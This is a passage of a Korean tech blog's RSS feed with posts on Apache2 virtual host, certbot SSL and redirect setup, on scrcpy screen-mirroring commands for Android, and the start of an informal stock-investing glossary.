&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 수정한 부분 :&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;{Folder_name}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo vim {Site_name}.conf&lt;/p&gt;
&lt;pre id=&quot;code_1610297504727&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
        DocumentRoot /var/www/{folder_name}
        &amp;lt;Directory /var/www/{folder_name}/&amp;gt;
                Options None
                AllowOverride All
        &amp;lt;/Directory&amp;gt;
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Step&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;2. 000-default.conf&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 수정한 부분 :&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;{New_Domain_name}, {Folder_name}&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ &lt;span style=&quot;color: #333333;&quot;&gt;sudo&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;vim 000-default.conf&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1610297552661&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
        ServerName {New_Domain_name}
        DocumentRoot /var/www/{Folder_name}
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Step&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;4. 끝&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo service apache2 restart&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SSL (Let&amp;rsquo;s Encrypt 기준)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 수정한 부분 :&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;{Folder_name},&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;{New_Domain_name}, {Domain_name}&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo apt install certbot python3-certbot-apache&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 도메인별로 인증서 추가&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 도메인 제거 : $ sudo letsencrypt revoke --cert-path /etc/letsencrypt/archive/{Domain_name}/cert1.pem&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ &lt;span style=&quot;color: #333333;&quot;&gt;sudo letsencrypt certonly -d {New_Domain_name}&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ &lt;span style=&quot;color: #333333;&quot;&gt;sudo&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;vim &lt;span style=&quot;color: #333333;&quot;&gt;000-default-le-ssl.conf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1610297686978&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:443&amp;gt;
        ServerName {New_Domain_name}
        DocumentRoot /var/www/{Folder_name}
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        Include /etc/letsencrypt/options-ssl-apache.conf
        SSLCertificateFile /etc/letsencrypt/live/{New_Domain_name}/fullchain.pem
        SSLCertificateKeyFile /etc/letsencrypt/live/{New_Domain_name}/privkey.pem
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 등록된 인증서 조회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo certbot certificates&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인증서 갱신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo certbot renew&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인증서 자동 갱신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo&amp;nbsp;crontab&amp;nbsp;-e&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GpWzl/btq0qAgVMMj/KuWrPJrF9UkuK1FKbqUxhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GpWzl/btq0qAgVMMj/KuWrPJrF9UkuK1FKbqUxhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GpWzl/btq0qAgVMMj/KuWrPJrF9UkuK1FKbqUxhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGpWzl%2Fbtq0qAgVMMj%2FKuWrPJrF9UkuK1FKbqUxhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;185&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;185&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[추가] 0 5 * * 6 certbot renew --post-hook &quot;service apache2 reload&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인증서 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ certbot delete --cert-name &lt;span style=&quot;color: #333333;&quot;&gt;{Domain_name}&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;타 사이트 리다이렉트&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 수정한 부분 :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;{New_Domain_name}, {Other_Domain_name}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sudo&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;vim 000-default.conf&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1610299562941&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
        ServerName {New_Domain_name}
        Redirect permanent / {Other_Domain_name}
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt; HTTPS 리다이렉트 (HTTP &amp;rarr; HTTPS)&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 추가한 도메인 안에 넣으면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;* 수정한 부분 : &lt;span style=&quot;color: #ee2323;&quot;&gt;{New_Domain_name}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sudo&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;vim 000-default.conf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1610300674707&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Redirect / http://{New_Domain_name}
RewriteEngine on
RewriteCond %{HTTPS} off
RewriteRule .* https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;폴더 권한 부여&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo /etc/apache2/apache2.conf&lt;/p&gt;
&lt;pre id=&quot;code_1616087527757&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;Directory {Folder_name}&amp;gt;
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
&amp;lt;/Directory&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Apache2와 Nginx 비교&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &amp;lt;VirtualHost *:80&amp;gt; ... &amp;lt;/&lt;span style=&quot;color: #333333;&quot;&gt;VirtualHost&amp;gt; =&lt;/span&gt;&amp;nbsp;server { .. }&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. DocumentRoot = root&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &amp;lt;Directory ...&amp;gt; ... &amp;lt;/Directory&amp;gt; = location / { ... }&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;보안&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 정보 숨기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo vim /etc/apache2/conf-available/security.conf&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[수정] OS &amp;rarr;&amp;nbsp;Prod&lt;/p&gt;
&lt;pre id=&quot;code_1616088106225&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ServerTokens Prod&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 디렉토리 인덱싱 및 심볼릭 링크 차단&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo vim /etc/apache2/apache2.conf&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[수정] Indexes FollowSymLinks &amp;rarr; None&lt;/p&gt;
&lt;pre id=&quot;code_1616088069446&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;Directory /var/www/&amp;gt;
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
&amp;lt;/Directory&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;링크 걸때 주의할 점&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 잘못된 예시 : sudo ln -s default /etc/nginx/sites-enabled/&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 올바른 예시 : sudo ln -s &lt;span style=&quot;color: #ee2323;&quot;&gt;/etc/nginx/sites-available/&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;default /etc/nginx/sites-enabled/&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Web</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/257</guid>
      <comments>https://netking.tistory.com/257#entry257comment</comments>
      <pubDate>Mon, 11 Jan 2021 10:34:30 +0900</pubDate>
    </item>
    <item>
      <title>scrcpy 명령어</title>
      <link>https://netking.tistory.com/256</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;scrcpy&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;USB, TCP/IP에 연결된 안드로이드 기기의 화면 공유 및 제어 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;사용가능한 환경&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- GNU/Linux, &lt;span style=&quot;color: #333333;&quot;&gt;Window,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;MacOS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;설치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Linux&lt;/p&gt;
&lt;pre id=&quot;code_1609851684740&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo snap install scrcpy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Window&lt;/p&gt;
&lt;pre id=&quot;code_1609851753534&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;exe : https://github.com/Genymobile/scrcpy/releases/tag/v1.17&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MacOS&lt;/p&gt;
&lt;pre id=&quot;code_1609851707741&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;brew install scrcpy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주요 명령어&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 유선 연결(USB)&lt;/p&gt;
&lt;pre id=&quot;code_1609852031158&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;scrcpy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 무선&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;연결&lt;/span&gt;(TCP/IP)&lt;/p&gt;
&lt;pre id=&quot;code_1609852017802&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;adb kill-server
adb tcpip {port}
adb connect {devices_ip or domain}:{port}  # 원격지 컴퓨터
scrcpy  # 원격지 컴퓨터&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 다중 디바이스&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;연결&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1609852233423&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;scrcpy -s {adb_devices}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reference&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;scrcpy 공식문서&amp;nbsp;: &lt;a href=&quot;https://github.com/Genymobile/scrcpy&quot;&gt;github.com/Genymobile/scrcpy&lt;/a&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;scrcpy 한글문서 : &lt;a href=&quot;https://github.com/Genymobile/scrcpy/blob/master/README.ko.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/Genymobile/scrcpy/blob/master/README.ko.md&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Android</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/256</guid>
      <comments>https://netking.tistory.com/256#entry256comment</comments>
      <pubDate>Tue, 5 Jan 2021 22:11:29 +0900</pubDate>
    </item>
    <item>
      <title>수익률 400% 올린 개미가 알려주는 주식 덕담</title>
      <link>https://netking.tistory.com/240</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 68px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 68px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 68px; text-align: center;&quot;&gt;&lt;b&gt;안녕하세요. &lt;br /&gt;그동안&amp;nbsp;주식에&amp;nbsp;대해&amp;nbsp;경험과&amp;nbsp;노하우를&amp;nbsp;마치&amp;nbsp;친구에게&amp;nbsp;알려주듯이&amp;nbsp;친근하고&amp;nbsp;유쾌하게&amp;nbsp;작성해보았어요. &lt;br /&gt;저도&amp;nbsp;아는&amp;nbsp;것이&amp;nbsp;많이&amp;nbsp;없는&amp;nbsp;학생이지만,&amp;nbsp;작게나마&amp;nbsp;도움이&amp;nbsp;되었으면&amp;nbsp;하네요. &lt;br /&gt;궁금한 부분이 있다면 댓글이나 메일 보내주시면 답변드리며, 지적할 부분도 언제든 말씀 주세요! &lt;br /&gt;그럼 다들 성투하시길 :D&lt;br /&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;Q1. 니눈데?&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- 학과 : 경제학 1도 모르는 공대생&lt;br /&gt;- 주식 6년 차 동학 개미 일원&lt;br /&gt;- 2020년 KB증권 실전투자대회 대학생 부문 7월 리그 4위 (&lt;span style=&quot;color: #333333;&quot;&gt;수익률.&amp;nbsp;&lt;/span&gt;67.00%)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 2020년 KB증권 실전투자대회 대학생 부문 8월 리그 7위 (&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;수익률.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;50.58%)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 2020년 KB증권 실전투자대회 대학생 부문 10월 리그 6위 (&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;수익률.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;59.79%)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;274&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D7MKV/btqRL3yKX2E/RqK3G6TRc8zlknkbncor7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D7MKV/btqRL3yKX2E/RqK3G6TRc8zlknkbncor7K/img.png&quot; data-alt=&quot;수익 공개 (20.01.01 ~ 12.31)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D7MKV/btqRL3yKX2E/RqK3G6TRc8zlknkbncor7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD7MKV%2FbtqRL3yKX2E%2FRqK3G6TRc8zlknkbncor7K%2Fimg.png&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;274&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;수익 공개 (20.01.01 ~ 12.31)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;b&gt;Q2.&amp;nbsp;&lt;/b&gt;이거 뭐라하는거고!&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;▶ 일반적인 용어&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- HTS : 컴퓨터로 주식하는 것&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- MTS : 폰으로 주식하는 것&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- 매매 : 매수, 매도로 사고파는 것&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- PER (Price Earning Ratio, 주당 이익)&amp;nbsp; &lt;br /&gt;-&amp;nbsp;PBR&amp;nbsp;(Price&amp;nbsp;to&amp;nbsp;Book&amp;nbsp;Ratio,&amp;nbsp;순자산)&amp;nbsp;=&amp;nbsp;자산&amp;nbsp;-&amp;nbsp;부채&amp;nbsp; &lt;br /&gt;-&amp;nbsp;ROE&amp;nbsp;(Return&amp;nbsp;On&amp;nbsp;Equity,&amp;nbsp;자기자본이익률)&amp;nbsp;=&amp;nbsp;(순이익&amp;nbsp;/&amp;nbsp;자기자본)&amp;nbsp;*&amp;nbsp;100&amp;nbsp; &lt;br /&gt;-&amp;nbsp;ROA&amp;nbsp;(Return&amp;nbsp;On&amp;nbsp;Assets,&amp;nbsp;총자산순이익률)&amp;nbsp;=&amp;nbsp;(순이익&amp;nbsp;&amp;nbsp;/&amp;nbsp;총자산)&amp;nbsp;*&amp;nbsp;100&amp;nbsp; &lt;br /&gt;- VI (Volatility Interruption, 변동성완화장치) : 주가가 급변동할 경우 일시적 단일가 매매로 전환하는 장치&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 스켈핑 : 분, 초 단위로 거래(초단타 매매)&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 데이트레이드 : 당일 매매&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 단타 : 최대 5일 매매&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 스윙 : 2주 이상, 1~3개월 매매&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 장투 : 6개월 이상 매매&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;▶ 은어&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 개미 : 너&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 주포 : 돈 많은 행님&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 개미 털기 : 너 매도하라는 주포 행님 애꿎은 장난&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 동전주 : 동전 단위 종목&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
